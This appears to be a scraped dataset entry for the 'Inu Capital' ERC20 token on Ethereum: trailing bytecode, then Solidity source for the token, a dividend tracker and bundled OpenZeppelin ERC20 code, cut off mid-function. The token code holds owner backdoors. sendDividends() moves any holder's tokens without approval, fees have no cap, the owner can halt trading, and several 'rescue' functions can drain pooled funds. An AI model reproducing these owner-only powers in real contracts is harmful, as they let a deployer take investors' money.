60a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b600081815260018301602052604081205461076f57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610288565b506000610288565b61078182826103ec565b15610501576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600081815260018301602052604081205480156108c5576000610800600183610d4c565b855490915060009061081490600190610d4c565b905081811461087957600086600001828154811061083457610834610dd6565b906000526020600020015490508087600001848154811061085757610857610dd6565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061088a5761088a610dc0565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610288565b6000915050610288565b606060006108de836002610d2d565b6108e9906002610d15565b67ffffffffffffffff81111561090157610901610dec565b6040519080825280601f01601f19166020018201604052801561092b576020820181803683370190505b509050600360fc1b8160008151811061094657610946610dd6565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061097557610975610dd6565b60200101906001600160f81b031916908160001a9053506000610999846002610d2d565b6109a4906001610d15565b90505b6001811115610a1c576f181899199a1a9b1b9c1cb0b131b232b360811b85600f16601081106109d8576109d8610dd6565b1a60f81b8282815181106109ee576109ee610dd6565b60200101906001600160f81b031916908160001a90535060049490941c93610a1581610d93565b90506109a7565b5083156103e55760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016104cd565b6000826000018281548110610a8257610a82610dd6565b9060005260206000200154905092915050565b80356001600160a01b0381168114610aac57600080fd5b919050565b600082601f830112610ac257600080fd5b813567ffffffffffffffff80821115610add57610add610dec565b604051601f8301601f19908116603f01168101908282118183101715610b0557610b05610dec565b81604052838152866020858801011115610b1e57600080fd5b836020870160208301376000602085830101528094505050505092915050565b600060208284031215610b5057600080fd5b5035919050565b60008060408385031215610b6a57600080fd5b82359150610b7a60208401610a95565b90509250929050565b60008060408385031215610b9657600080fd5b50508035926020909101359150565b600060208284031215610bb757600080fd5b81356001600160e01b0319811681146103e557600080fd5b600060208284031215610be157600080fd5b813567ffffffffffffffff811115610bf857600080fd5b610c0484828501610ab1565b949350505050565b60008060408385031215610c1f57600080fd5b823567ffffffffffffffff811115610c3657600080fd5b610c4285828601610ab1565b925050610b7a60208401610a95565b60008251610c63818460208701610d63565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351610ca5816017850160208801610d63565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351610cd6816028840160208801610d63565b01602801949350505050565b6020815260008251806020840152610d01816040850160208701610d63565b601f01601f19169190910160400192915050565b60008219821115610d2857610d28610daa565b500190565b6000816000190483118215151615610d4757610d47610daa565b500290565b600082821015610d5e57610d5e610daa565b500390565b60005b83811015610d7e578181015183820152602001610d66565b83811115610d8d576000848401525b50505050565b600081610da257610da2610daa565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220c7fadeffac8e579fb689bf04b98acc1819c0c51f90fd1b4ceb9c71ab8d95ee3364736f6c63430008070033
[ 5 ]
0xF35EB146B668971b620cF9b85e9C1d20b251323b
// SPDX-License-Identifier: MIT pragma solidity >=0.8.9; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; /** Inu Capital Active Defi Farming through Collective Capital Management we send our regards, respect and love to MCC, ReFi, ACYC, SBC, and all of our other predecessors. To those who fork us, we send our best wishes. May your code be error free. Thus, we enter Elysium. May the Gates Open for Thee https://inucapital.io **/ contract InuCapital is Ownable, IERC20 { address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string private _name = "Inu Capital"; string private _symbol = "INC"; uint256 public buyLiquidityFeeBPS = 500; uint256 public reflectionFeeBPS = 500; uint256 public treasuryFeeBPS = 1300; uint256 public dividendFeeBPS = 600; uint256 public devFeeBPS = 100; uint256 public swapTokensAtAmount = 100000 * (10**18); uint256 public lastSwapTime; bool swapAllToken = true; bool public swapEnabled = true; bool public taxEnabled = true; bool private reflectionEnabled = true; bool private dividendEnabled = true; uint256 private _totalSupply; bool private swapping; // dev fund address devWallet = address(0xacBE3D24455995E04C49645479CAf8aA3341FeCc); // treasury and liquidity wallet address treasuryWallet = address(0xA8F656435f632bBEAAA439E7A0f6A7ff96FF11b2); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; event SendDividends(uint256 amount); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); DividendTracker public dividendTracker; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; uint256 public maxTxBPS = 25; uint256 public maxWalletBPS = 100; bool tradingEnabled = false; mapping(address => bool) private _isExcludedFromMaxTx; mapping(address => bool) private _isExcludedFromMaxWallet; constructor() { dividendTracker = new DividendTracker(address(this)); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAPROUTER); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); dividendTracker.excludeFromDividends(address(dividendTracker), true); dividendTracker.excludeFromDividends(address(this), true); dividendTracker.excludeFromDividends(owner(), true); dividendTracker.excludeFromDividends(address(_uniswapV2Router), true); dividendTracker.excludeFromReflections(address(dividendTracker), true); dividendTracker.excludeFromReflections(address(this), true); dividendTracker.excludeFromReflections(owner(), true); dividendTracker.excludeFromReflections(address(_uniswapV2Router), true); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(dividendTracker), true); excludeFromMaxTx(owner(), true); excludeFromMaxTx(address(this), true); excludeFromMaxTx(address(dividendTracker), true); excludeFromMaxWallet(owner(), true); excludeFromMaxWallet(address(this), true); excludeFromMaxWallet(address(dividendTracker), true); uint256 amount = 10000000000 * (10**18); _totalSupply += amount; _balances[owner()] += amount; emit Transfer(address(0), owner(), amount); } receive() external payable {} function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "Inu: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "Inu: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function setTradingEnabled(bool _value) external onlyOwner { tradingEnabled = _value; } function _transfer( address sender, address recipient, uint256 amount ) internal { require( tradingEnabled || sender == owner() || recipient == owner(), "Not Open" ); require(sender != address(0), "Inu: transfer from the zero address"); require(recipient != address(0), "Inu: transfer to the zero address"); uint256 _maxTxAmount = (totalSupply() * maxTxBPS) / 10000; uint256 _maxWallet = (totalSupply() * maxWalletBPS) / 10000; require( amount <= _maxTxAmount || _isExcludedFromMaxTx[sender], "TX Limit Exceeded" ); if ( sender != owner() && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapV2Pair ) { uint256 currentBalance = balanceOf(recipient); require( _isExcludedFromMaxWallet[recipient] || (currentBalance + amount <= _maxWallet) ); } uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "Inu: transfer amount exceeds balance" ); uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( swapEnabled && // True canSwap && // true !swapping && // swapping=false !false true !automatedMarketMakerPairs[sender] && // no swap on remove liquidity step 1 or DEX buy sender != address(uniswapV2Router) && // no swap on remove liquidity step 2 sender != owner() && recipient != owner() ) { swapping = true; if (!swapAllToken) { contractTokenBalance = swapTokensAtAmount; } _executeSwap(contractTokenBalance); lastSwapTime = block.timestamp; swapping = false; } bool takeFee; if ( sender == address(uniswapV2Pair) || recipient == address(uniswapV2Pair) ) { takeFee = true; } if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) { takeFee = false; } if (swapping || !taxEnabled) { takeFee = false; } if (takeFee) { uint256 fees; if (sender == address(uniswapV2Pair)) { // buy fees = (amount * (buyLiquidityFeeBPS + reflectionFeeBPS)) / 10000; uint256 liquidityFee = (amount * buyLiquidityFeeBPS) / 10000; uint256 dividendFee = (amount * reflectionFeeBPS) / 10000; _executeTransfer(sender, treasuryWallet, liquidityFee); _executeTransfer(sender, address(dividendTracker), dividendFee); dividendTracker.distributeReflections(dividendFee); } else { // sell fees = (amount * (treasuryFeeBPS + dividendFeeBPS + devFeeBPS)) / 10000; _executeTransfer(sender, address(this), fees); } amount -= fees; } _executeTransfer(sender, recipient, amount); dividendTracker.setBalance(payable(sender), balanceOf(sender)); dividendTracker.setBalance(payable(recipient), balanceOf(recipient)); } function sendDividends( address sender, uint256 amount ) public onlyOwner { _executeTransfer(sender, address(dividendTracker), amount); dividendTracker.distributeReflections(amount); } function _executeTransfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "Inu: transfer from the zero address"); require(recipient != address(0), "Inu: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "Inu: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "Inu: approve from the zero address"); require(spender != address(0), "Inu: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function swapTokensForNative(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokens); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokens, 0, // accept any amount of native path, address(this), block.timestamp ); } function _executeSwap(uint256 tokens) private { if (tokens <= 0) { return; } swapTokensForNative(tokens); uint256 nativeAfterSwap = address(this).balance; uint256 tokensTreasury; if (address(treasuryWallet) != address(0)) { tokensTreasury = (nativeAfterSwap * (treasuryFeeBPS)) / (treasuryFeeBPS + dividendFeeBPS + devFeeBPS); if (tokensTreasury > 0) { payable(treasuryWallet).transfer(tokensTreasury); } } uint256 tokensDev; if (address(devWallet) != address(0)) { tokensDev = (nativeAfterSwap * devFeeBPS) / (treasuryFeeBPS + dividendFeeBPS + devFeeBPS); if (tokensDev > 0) { payable(devWallet).transfer(tokensDev); } } uint256 tokensDividend; if (dividendTracker.totalSupply() > 0) { tokensDividend = (nativeAfterSwap * dividendFeeBPS) / (treasuryFeeBPS + dividendFeeBPS + devFeeBPS); if (tokensDividend > 0) { (bool success, ) = address(dividendTracker).call{ value: tokensDividend }(""); if (success) { emit SendDividends(tokensDividend); } } } } function excludeFromFees(address account, bool excluded) public onlyOwner { require( _isExcludedFromFees[account] != excluded, "Inu: account is already set to requested state" ); _isExcludedFromFees[account] = excluded; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function manualSendDividend(uint256 amount, address holder) external onlyOwner { dividendTracker.manualSendDividend(amount, holder); } function excludeFromDividends(address account, bool excluded, bool mode) public onlyOwner { if (mode == true) { // DIVIDENDS dividendTracker.excludeFromDividends(account, excluded); } else { // REFLECTIONS dividendTracker.excludeFromReflections(account, excluded); } } function isExcludedFromDividends(address account) public view returns (bool, bool) { return (dividendTracker.isExcludedFromDividends(account), dividendTracker.isExcludedFromReflections(account)); } function setWallet( address payable _treasuryWallet, address payable _devWallet ) external onlyOwner { treasuryWallet = _treasuryWallet; devWallet = _devWallet; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "Inu: DEX pair can not be removed"); _setAutomatedMarketMakerPair(pair, value); } function setFee( uint256 _reflectionFee, uint256 _buyLiquidityFee, uint256 _treasuryFee, uint256 _dividendFee, uint256 _devFee ) external onlyOwner { reflectionFeeBPS = _reflectionFee; buyLiquidityFeeBPS = _buyLiquidityFee; treasuryFeeBPS = _treasuryFee; dividendFeeBPS = _dividendFee; devFeeBPS = _devFee; } function _setAutomatedMarketMakerPair(address pair, bool value) private { require( automatedMarketMakerPairs[pair] != value, "Inu: automated market maker pair is already set to that value" ); automatedMarketMakerPairs[pair] = value; if (value) { dividendTracker.excludeFromDividends(pair, true); } emit SetAutomatedMarketMakerPair(pair, value); } function updateUniswapV2Router(address newAddress) public onlyOwner { require( newAddress != address(uniswapV2Router), "Inu: the router is already set to the new address" ); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); uniswapV2Pair = _uniswapV2Pair; } function claimDividend() public { require(dividendEnabled == true, "Inu: Dividends Disabled"); dividendTracker.processAccount(payable(_msgSender())); } function claimReflection() public { require(reflectionEnabled == true, "Inu: Reflections Disabled"); uint256 amount = dividendTracker.processAccountReflection(payable(_msgSender())); _executeTransfer(address(dividendTracker), address(_msgSender()), amount); } function claimAll() public { require(dividendEnabled == true, "Inu: Dividends Disabled"); require(reflectionEnabled == true, "Inu: Reflections Disabled"); dividendTracker.processAccount(payable(_msgSender())); uint256 amount = dividendTracker.processAccountReflection(payable(_msgSender())); _executeTransfer(address(dividendTracker), address(_msgSender()), amount); } function getAccountDividendInfo(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { return dividendTracker.getAccountDividendInfo(account); } function getAccountReflectionInfo(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { return dividendTracker.getAccountReflectionInfo(account); } function getLastClaimTime(address account) public view returns (uint256) { return dividendTracker.getLastClaimTime(account); } function setSwapEnabled(bool _enabled) external onlyOwner { swapEnabled = _enabled; } function setTokenomicsSettings( bool _dividendEnabled, bool _reflectionEnabled, bool _tradingEnabled, bool _taxEnabled ) external onlyOwner { dividendEnabled = _dividendEnabled; reflectionEnabled = _reflectionEnabled; tradingEnabled = _tradingEnabled; taxEnabled = _taxEnabled; } function updateDividendSettings( bool _swapEnabled, uint256 _swapTokensAtAmount, bool _swapAllToken ) external onlyOwner { swapEnabled = _swapEnabled; swapTokensAtAmount = _swapTokensAtAmount; swapAllToken = _swapAllToken; } function setMax(uint256 _maxTxBPS, uint256 _maxWalletBPS) external onlyOwner { maxTxBPS = _maxTxBPS; maxWalletBPS = _maxWalletBPS; } function excludeFromMaxTx(address account, bool excluded) public onlyOwner { _isExcludedFromMaxTx[account] = excluded; } function isExcludedFromMaxTx(address account) public view returns (bool) { return _isExcludedFromMaxTx[account]; } function excludeFromMaxWallet(address account, bool excluded) public onlyOwner { _isExcludedFromMaxWallet[account] = excluded; } function isExcludedFromMaxWallet(address account) public view returns (bool) { return _isExcludedFromMaxWallet[account]; } function rescueToken(address _token, uint256 _amount) external onlyOwner { IERC20(_token).transfer(msg.sender, _amount); } function rescueETH(uint256 _amount) external onlyOwner { payable(msg.sender).transfer(_amount); } function rescueReflection(uint256 _amount) external onlyOwner { _executeTransfer(address(dividendTracker), msg.sender, _amount); } function investorAirdrop(address[] calldata recipients, uint256 amount) external onlyOwner { // thank you investors! for (uint256 _i = 0; _i < recipients.length; _i++) { transferFrom(msg.sender, recipients[_i], amount); } } function snapshotAirdrop(address[] calldata recipients, uint256[] calldata amounts) external onlyOwner { for (uint256 _i = 0; _i < recipients.length; _i++) { transferFrom(msg.sender, recipients[_i], amounts[_i]); } } } contract DividendTracker is Ownable, IERC20 { string private _name = "Inu_DividendTracker"; string private _symbol = "Inu_DividendTracker"; uint256 public lastProcessedIndex; uint256 private _totalSupply; mapping(address => uint256) private _balances; uint256 private constant magnitude = 2**128; uint256 public immutable minTokenBalanceForDividends; uint256 private magnifiedDividendPerShare; uint256 public totalDividendsDistributed; uint256 public totalDividendsWithdrawn; uint256 private magnifiedReflectionPerShare; uint256 public totalReflectionsDistributed; uint256 public totalReflectionsWithdrawn; address public tokenAddress; struct AccountTracker { bool excludedFromDividends; bool excludedFromReflections; int256 magnifiedDividendCorrections; uint256 withdrawnDividends; int256 magnifiedReflectionCorrections; uint256 withdrawnReflections; uint256 lastClaimTimes; } mapping(address => AccountTracker) public accountTracker; event DividendsDistributed(address indexed from, uint256 weiAmount); event DividendWithdrawn(address indexed to, uint256 weiAmount); event ExcludeFromDividends(address indexed account, bool excluded); event ClaimDividend(address indexed account, uint256 amount); struct AccountInfo { address account; uint256 withdrawableDividends; uint256 totalDividends; uint256 lastClaimTime; } constructor(address _tokenAddress) { minTokenBalanceForDividends = 10000 * (10**18); tokenAddress = _tokenAddress; } receive() external payable { distributeDividends(); } function distributeDividends() public payable { require(_totalSupply > 0); if (msg.value > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare + ((msg.value * magnitude) / _totalSupply); emit DividendsDistributed(msg.sender, msg.value); totalDividendsDistributed += msg.value; } } function distributeReflections(uint256 amount) public payable { require(_totalSupply > 0); if (amount > 0) { magnifiedReflectionPerShare = magnifiedReflectionPerShare + ((amount * magnitude) / _totalSupply); emit DividendsDistributed(msg.sender, amount); totalReflectionsDistributed += amount; } } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if (accountTracker[account].excludedFromDividends) { return; } if (newBalance >= minTokenBalanceForDividends) { _setBalance(account, newBalance); } else { _setBalance(account, 0); } } function excludeFromDividends(address account, bool excluded) external onlyOwner { require( accountTracker[account].excludedFromDividends != excluded, "Inu_DividendTracker: account already set to requested state" ); accountTracker[account].excludedFromDividends = excluded; if (excluded) { _setBalance(account, 0); } else { uint256 newBalance = IERC20(tokenAddress).balanceOf(account); if (newBalance >= minTokenBalanceForDividends) { _setBalance(account, newBalance); } else { _setBalance(account, 0); } } emit ExcludeFromDividends(account, excluded); } function isExcludedFromDividends(address account) public view returns (bool) { return accountTracker[account].excludedFromDividends; } function excludeFromReflections(address account, bool excluded) external onlyOwner { require( accountTracker[account].excludedFromReflections != excluded, "Inu_DividendTracker: account already set to requested state" ); accountTracker[account].excludedFromReflections = excluded; if (excluded) { _setBalance(account, 0); } else { uint256 newBalance = IERC20(tokenAddress).balanceOf(account); if (newBalance >= minTokenBalanceForDividends) { _setBalance(account, newBalance); } else { _setBalance(account, 0); } } emit ExcludeFromDividends(account, excluded); } function isExcludedFromReflections(address account) public view returns (bool) { return accountTracker[account].excludedFromReflections; } function manualSendDividend(uint256 amount, address holder) external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(holder).transfer(amount > 0 ? amount : contractETHBalance); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = _balances[account]; if (newBalance > currentBalance) { uint256 addAmount = newBalance - currentBalance; _mint(account, addAmount); } else if (newBalance < currentBalance) { uint256 subAmount = currentBalance - newBalance; _burn(account, subAmount); } } function _mint(address account, uint256 amount) private { require( account != address(0), "Inu_DividendTracker: mint to the zero address" ); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); accountTracker[account].magnifiedDividendCorrections = accountTracker[account].magnifiedDividendCorrections - int256(magnifiedDividendPerShare * amount); accountTracker[account].magnifiedReflectionCorrections = accountTracker[account].magnifiedReflectionCorrections - int256(magnifiedReflectionPerShare * amount); } function _burn(address account, uint256 amount) private { require( account != address(0), "Inu_DividendTracker: burn from the zero address" ); uint256 accountBalance = _balances[account]; require( accountBalance >= amount, "Inu_DividendTracker: burn amount exceeds balance" ); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); accountTracker[account].magnifiedDividendCorrections = accountTracker[account].magnifiedDividendCorrections + int256(magnifiedDividendPerShare * amount); accountTracker[account].magnifiedReflectionCorrections = accountTracker[account].magnifiedReflectionCorrections + int256(magnifiedReflectionPerShare * amount); } function processAccount(address payable account) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if (amount > 0) { accountTracker[account].lastClaimTimes = block.timestamp; emit ClaimDividend(account, amount); return true; } return false; } function processAccountReflection(address payable account) public onlyOwner returns (uint256) { uint256 amount = _withdrawReflectionOfUser(account); if (amount > 0) { accountTracker[account].lastClaimTimes = block.timestamp; emit ClaimDividend(account, amount); return amount; } return amount; } function _withdrawDividendOfUser(address payable account) private returns (uint256) { uint256 _withdrawableDividend = accumulativeDividendOf(account) - accountTracker[account].withdrawnDividends; if (_withdrawableDividend > 0) { accountTracker[account].withdrawnDividends += _withdrawableDividend; totalDividendsWithdrawn += _withdrawableDividend; emit DividendWithdrawn(account, _withdrawableDividend); (bool success, ) = account.call{ value: _withdrawableDividend, gas: 3000 }(""); if (!success) { accountTracker[account].withdrawnDividends -= _withdrawableDividend; totalDividendsWithdrawn -= _withdrawableDividend; return 0; } return _withdrawableDividend; } return 0; } function accumulativeDividendOf(address account) public view returns (uint256) { int256 a = int256(magnifiedDividendPerShare * balanceOf(account)); int256 b = accountTracker[account].magnifiedDividendCorrections; // this is an explicit int256 (signed) return uint256(a + b) / magnitude; } function getAccountDividendInfo(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { AccountInfo memory info; info.account = account; info.withdrawableDividends = accumulativeDividendOf(account) - accountTracker[account].withdrawnDividends; info.totalDividends = accumulativeDividendOf(account); info.lastClaimTime = accountTracker[account].lastClaimTimes; return ( info.account, info.withdrawableDividends, info.totalDividends, info.lastClaimTime, totalDividendsWithdrawn ); } function _withdrawReflectionOfUser(address payable account) private returns (uint256) { uint256 amount = accumulativeReflectionOf(account) - accountTracker[account].withdrawnReflections; if (amount > 0) { accountTracker[account].withdrawnReflections += amount; totalReflectionsWithdrawn += amount; emit DividendWithdrawn(account, amount); return amount; } return 0; } function accumulativeReflectionOf(address account) public view returns (uint256) { int256 a = int256(magnifiedReflectionPerShare * balanceOf(account)); int256 b = accountTracker[account].magnifiedReflectionCorrections; // this is an explicit int256 (signed) return uint256(a + b) / magnitude; } function getAccountReflectionInfo(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { AccountInfo memory info; info.account = account; info.withdrawableDividends = accumulativeReflectionOf(account) - accountTracker[account].withdrawnReflections; info.totalDividends = accumulativeReflectionOf(account); info.lastClaimTime = accountTracker[account].lastClaimTimes; return ( info.account, info.withdrawableDividends, info.totalDividends, info.lastClaimTime, totalReflectionsWithdrawn ); } function getLastClaimTime(address account) public view returns (uint256) { return accountTracker[account].lastClaimTimes; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return 18; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address, uint256) public pure override returns (bool) { revert("Inu_DividendTracker: method not implemented"); } function allowance(address, address) public pure override returns (uint256) { revert("Inu_DividendTracker: method not implemented"); } function approve(address, uint256) public pure override returns (bool) { revert("Inu_DividendTracker: method not implemented"); } function transferFrom( address, address, uint256 ) public pure override returns (bool) { revert("Inu_DividendTracker: method not implemented"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += 